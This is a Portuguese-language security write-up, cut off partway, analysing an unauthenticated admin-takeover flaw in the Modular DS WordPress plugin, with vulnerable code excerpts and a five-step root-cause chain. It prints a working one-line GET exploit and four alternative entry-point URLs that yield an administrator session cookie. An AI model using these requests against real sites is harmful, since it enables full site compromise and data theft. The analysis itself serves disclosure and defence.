
Análise de causa raiz, PoC e orientação de detecção para CVE-2026-23550, uma tomada de sessão de administrador não autenticada crítica no plugin WordPress Modular DS.
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗╚════██╗██╔════╝ ██╔════╝██╔═████╗
██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╔╝ █████╔╝███████╗ ███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚═══██╗ ╚═══██╗╚════██║ ╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ██████╔╝██████╔╝███████║ ███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝
Análise de Causa Raiz · Passeio pelo Código Fonte · Diff de Patch · PoC Educacional
Por: Beelze ( zeroday 1diot9 )
Modular DS (
modular-connector) é um plugin WordPress de gerenciamento de sites com mais de 40.000 instalações ativas. As versões ≤ 2.5.1 contêm uma cadeia de cinco defeitos que se acumulam, permitindo que qualquer atacante não autenticado ignore a autenticação, invoque o endpoint de login interno do plugin e receba um cookie de sessãowordpress_logged_in_*para a primeira conta de administrador — com uma única requisição HTTP GET.
GET /api/modular-connector/login/x?origin=mo&type=x HTTP/1.1
Host: victim.tld
→ HTTP/1.1 302 Found
Location: /wp-admin/index.php
Set-Cookie: wordpress_logged_in_<hash>=...
Resultado: comprometimento total do administrador. O atacante pode instalar plugins maliciosos, inserir webshells, criar contas de administrador de backup, exfiltrar o banco de dados.
| Campo | Valor |
|---|---|
| Nome do Plugin | Modular DS |
| Slug | modular-connector |
| Vulnerável | <= 2.5.1 |
| Corrigido | 2.5.2 |
| Instalações Ativas | ~40.000 |
| CVSS v3.1 | 10.0 / CRÍTICO (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-287 · CWE-306 · CWE-863 |
| OWASP | A07 — Falhas de Identificação e Autenticação |
A vulnerabilidade aciona um roteador personalizado derivado do Laravel embutido no plugin. O plugin possui seu próprio kernel HTTP (Ares/Framework) que se conecta na ação parse_request do WordPress para sequestrar requisições antes que o próprio roteamento do WordPress entre em ação.
Pré-requisitos: nenhum (plugin instalado e ativo, conectado ao Modular SaaS — padrão para todas as instalações ao vivo).
Pontos de entrada (qualquer um é suficiente):
/api/modular-connector/login/<qualquer>?origin=mo&type=<qualquer>
/?rest_route=/api/modular-connector/login/<qualquer>&origin=mo&type=<qualquer>
/index.php?rest_route=/api/modular-connector/login/<qualquer>&origin=mo&type=<qualquer>
/wp-load.php?origin=mo&type=<qualquer>
A vulnerabilidade não é uma falha única — é uma cadeia de cinco defeitos que se acumulam. Cada camada, vista isoladamente, pode parecer defensável; combinadas, elas colapsam em um comprometimento de administrador pré-autenticação.
flowchart TB
A["🌐 Requisição do Atacante<br/>?origin=mo&type=x"] --> B["① HttpUtils::isDirectRequest()<br/>Portão abre apenas com parâmetros de consulta"]
B --> C["② Router::findRoute()<br/>URL implicitamente resolvida para rota /login"]
C --> D["③ Filtro bindOldRoutes()<br/>Falha em type desconhecido"]
D --> E["④ ModularGuard::check()<br/>Valida OAuth do servidor, NÃO a requisição"]
E --> F["⑤ AuthController::getLogin()<br/>Usa fallback para primeiro admin"]
F --> G["🔑 Set-Cookie: wordpress_logged_in_*<br/>Atacante = Admin"]
style A fill:#ff4444,stroke:#000,color:#fff
style G fill:#00cc44,stroke:#000,color:#fff
style B fill:#ff8888,stroke:#000
style C fill:#ffaa66,stroke:#000
style D fill:#ffcc44,stroke:#000
style E fill:#ff8888,stroke:#000
style F fill:#ff4444,stroke:#000,color:#fff
| # | Camada | Arquivo | Problema Raiz |
|---|---|---|---|
| ① | Portão de bootstrap | HttpUtils.php:64 | Verificação origin=mo apenas na consulta, sem criptografia/nonce |
| ② | Correspondente URL→rota | Router.php:20 | Resolução implícita de URL passada diretamente ao filtro |
| ③ | Filtro de substituição de rota | RouteServiceProvider.php:46 | type desconhecido passa direto com a rota original intacta |
| ④ | Guarda de autenticação | ModularGuard.php:16 | Valida estado OAuth do lado do servidor, não a identidade da requisição |
| ⑤ | Controlador de login | AuthController.php:66 | Fallback silencioso para getAdminUser() quando faltam dados |
HttpUtils::isDirectRequest()Arquivo: vendor/ares/framework/src/Foundation/Http/HttpUtils.php:64
public static function isDirectRequest(): bool
{
$request = app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
if ($isFromQuery) {
return true; // ⚠️ apenas parâmetro de consulta, sem assinatura
}
return false;
}
Problema: O modo "requisição direta" — destinado a identificar chamadas legítimas do backend Modular SaaS — é protegido apenas por parâmetros de consulta em texto puro, sem HMAC, JWT, nonce assinado ou lista de permissão de IP. Qualquer atacante pode acionar essa chave.
Router::findRoute()Arquivo: vendor/ares/framework/src/Foundation/Routing/Router.php:20
protected function findRoute($request)
{
$this->current = $route = apply_filters(
'ares/routes/match',
$this->routes->match($request), // ⚠️ URL resolvida para rota ANTES do filtro executar
true
);
$route->setContainer($this->container);
$this->container->instance(Route::class, $route);
return $route;
}
Problema: routes->match($request) do Laravel resolve /api/modular-connector/login/xxx na rota login (protegida por autenticação) antes que o filtro de segurança execute. O filtro recebe essa rota como entrada, colocando sobre ele o ônus de provar que a rota é ilegítima, em vez de autorizá-la explicitamente.
bindOldRoutes()